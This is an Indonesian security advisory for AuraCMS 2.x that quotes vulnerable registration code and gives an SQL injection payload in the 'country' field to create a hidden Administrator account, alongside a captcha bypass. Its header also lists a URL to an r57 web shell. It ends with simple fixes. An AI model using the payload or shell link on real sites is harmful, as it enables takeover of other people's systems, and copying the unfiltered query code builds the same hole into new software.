# Indonesian Newhack Security Advisory
# ------------------------------------
# AuraCMS 2.x (user.php) - Security Code Bypass & Add Administrator Exploit
# Waktu : Feb 28 2008 08:00PM
# Software : AuraCMS
# Versi : 2.0
# 2.1
# 2.2.1
# http://www.r57shell.in/r57.txt?
#
# ------------------------------------
# Audit Oleh : NTOS-Team
# Lokasi : Indonesia | http://newhack.org
# Penjelasan :
#
# Kutu pada berkas "user.php" direktori "/content"
#---//---
# 59. if (!$nama || preg_match("/[^a-zA-Z0-9_-]/", $nama)) $error .= "Karakter Username tidak diizinkan kecuali a-z,A-Z,0-9,-, dan _<br />";
# 60. if (strlen($nama) > 10) $error .= "Username Terlalu Panjang Maksimal 10 Karakter<br />";
# 61. if (strrpos($nama, " ") > 0) $error .= "Username Tidak Boleh Menggunakan Spasi";
# 62. if ($koneksi_db->sql_numrows($koneksi_db->sql_query("SELECT user FROM useraura WHERE user='$nama'")) > 0) $error .= "Error: Username ".$nama." sudah terdaftar , silahkan ulangi.<br />";
# 63. if ($koneksi_db->sql_numrows($koneksi_db->sql_query("SELECT user FROM temp_useraura WHERE user='$nama'")) > 0) $error .= "Error: Username ".$nama." sudah terdaftar , silahkan ulangi.<br />";
# 64. if ($koneksi_db->sql_numrows($koneksi_db->sql_query("SELECT email FROM useraura WHERE email='$email'")) > 0) $error .= "Error: Email ".$email." sudah terdaftar , silahkan ulangi.<br />";
# 65. if ($koneksi_db->sql_numrows($koneksi_db->sql_query("SELECT email FROM temp_useraura WHERE email='$email'")) > 0) $error .= "Error: Email ".$email." sudah terdaftar , silahkan ulangi.<br />";

# 74. if (extension_loaded("gd") AND $code != $_POST['gfx_check']) $error .= "Error: Security Code Invalid<br />";
# 75.
# 76.
# 77. if ($error){
# 78. $tengah .='<table width="100%" border="0" cellspacing="0" cellpadding="0" class="middle"><tr><td><table width="100%" class="bodyline"><tr><td align="left"><img src="images/warning.gif" border="0"></td><td align="center"><font class="option">'.$error.'</font></td><td align="right"><img src="images/warning.gif" border="0"></td></tr></table></td></tr></table>';
# 79. }else{
# 80. $hasil1 = $koneksi_db->sql_query("INSERT INTO useraura (user, email, password , level, tipe, negara)VALUES('$nama', '$email', '$password','User','aktif', '$country')" );
# ---//---
# => Security Code Bypass
# baris 73 - 74 kode yang menarik,kita coba belah perlahan 2 baris ini
# $sitekey sudah terdifinisi di dalam berkas "config.php" direktori "includes"
# $_POST['random_num'] nilai acak yang dikirim melalui Form isian registrasi User secara hiden [bukan hasil isian User]
# $_POST['gfx_check'] nilai yang dikirim oleh USER melalui Form isian register User mengenai Security Code
# dan selengkap nya dapat di baca pada http://ezine.echo.or.id/ezine18/e18.005.txt
#
# => Add Administrator [INSERT Metode]
# baik... kita sudah bisa membypass sekuriti kode, sekarang buat admin baru di site target :p
# baris 71. variabel "country" jika tidak diisi hasil nya $error, namun sayang hanya sebatas itu saja aturannya :(
# kita lihat pada baris 80. VALUES('$nama', '$email', '$password','User','aktif', '$country') kembali disini tidak ada penyaringan
# apa yang kamu pikirkan... mmm... menarik... nakal... jahat... tapi INDAH bukan... ;)
# ya... bagaimana kalo kami berpikir seperti ini ;
#
# VALUES('$nama', '$email', '$password','User','aktif', 'Indonesia['),('Attacker', 'attacker@...k.ed', 'MD5_Pass', 'Administrator', 'aktif', 'Undergr0und]')" );
#
# baru ini namanya p0rn0c0d3...,
# satu sesi register 2 user yang di buat, pertama user yang sesuai isian form, yang kedua adalah User dengan Administrator hasil keNAKALan User :D
# terima kasih untuk author http://www.milw0rm.com/papers/149
#
# => Perbaikan Sederhana
# 1. Security Code
# Ganti dengan Captcha yang berdasarkan session, dan cari Captcha yang tidak mudah dibaca OCR
# 2. Add Administrator
# Ganti Kode baris 71. pada berkas "user.php" dengan ;
# ---//---
# 71. if (!$country || preg_match("/[^a-zA-Z]/", $country)) $error .= "Error: Formulir Negara belum diisi , silahkan ulangi.<br />";
